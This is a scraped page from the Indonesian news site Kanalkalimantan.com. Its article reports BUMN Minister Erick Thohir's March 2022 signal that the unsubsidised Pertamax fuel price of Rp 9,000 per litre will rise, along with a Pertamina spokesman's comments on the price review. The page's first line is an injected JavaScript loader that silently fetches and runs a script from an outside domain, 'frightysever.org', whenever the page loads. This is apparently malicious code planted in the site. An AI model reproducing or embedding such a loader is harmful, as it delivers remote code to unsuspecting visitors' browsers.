(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Pertamax Akan Naik, Ini Kata Menteri Erick Thohir


KANALKALIMANTAN.COM – Menteri Badan Usaha Milik Negara (BUMN) Erick Thohir memberi sinyal bahwa harga BBM Pertamax akan naik dalam waktu dekat. Saat ini harga Pertamax dibanderol sebesar Rp 9.000 per liter.

Menurut Erick Thohir, Pertamax bukan bagian yang disubsidi oleh pemerintah. Sehingga, sah-sah saja jika harga Pertamax naik seiring harga minyak dunia yang mengalami kenaikan.

“Ini Pemerintah sudah memutuskan Pertalite dijadikan subsidi, Pertamax tidak, jadi kalau Pertamax naik ya mohon maaf, tapi kalau Pertalite subsidi tetap,” ujar Erick dalam Kuliah Umum Universitas Hasanuddin yang ditulis, Kamis (31/3/2022).

Sementara, Pjs Corporate Secretary PT Pertamina Patra Niaga, Irto Ginting menanggapi, sampai saat ini perseroan masih menghitung dan berkoordinasi dengan pemangku kepentingan terkait terkait dengan kenaikan harga Pertamax.

 

 

Baca juga: Jenderal Andika Perbolehkan Keturunan PKI Jadi Prajurit TNI

Saat ini, kata dia, batas atas harga Pertamax berdasarkan Kementerian ESDM sekitar Rp 16.000 per liter. Sedangkan, Pertamina masih menetapkan harga Pertamax sebesar Rp 9.000 per liter.

“Sampai sekarang kita masih mereview untuk harga Pertamax, kita masih berkoordinasi dengan stakeholder terkait, ESDM kan keluarin harga ada yang 14.000 dan 16.000, itu kan batas atas,” ujarnya saat dihubungi, Rabu (30/3/2022) seperti dilansir Suara.com –jaringan Kanalkalimantan.com-.

Dalam penentuan Harga, tutur Irto, Pertamina akan mempertimbangkan segala hal, termasuk kemampuan daya beli masyarakat dalam membeli harga BBM non subsidi.

“Itu yang masih review sesuai dengan perkembangan harga minyak dunia dan kita mempertimbangkan daya beli masyarakat, sementara kapan dan besarnya tunggu finalnya,” ucap dia.

Namun demikian, Irto memastikan, harga BBM Pertamax yang ditetapkan Pertamina akan lebih murah dibanding SPBU-SPBU swasta seperti Shell atau Vivo.

“Insyaallah di bawah swasta, itu yang kita pertimbangkan juga. Jadi pertama harga minyak dunia, pertimbangkan daya beli masyarakat, dan pertimbangkan harga kompetitor,” pungkas dia. (Kanalkalimantan.com/Suara.com)

Editor : kk


Risa

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

3 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

4 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

19 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

20 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

20 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

21 jam ago

This website uses cookies.